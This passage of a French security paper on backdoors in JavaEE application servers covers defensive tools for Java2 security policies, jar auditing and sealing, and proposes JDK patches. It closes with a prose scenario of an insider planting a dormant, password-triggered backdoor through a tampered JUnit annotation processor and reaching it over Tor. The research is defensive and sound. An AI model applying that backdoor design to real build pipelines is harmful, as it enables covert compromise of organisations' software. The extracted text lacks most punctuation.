webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

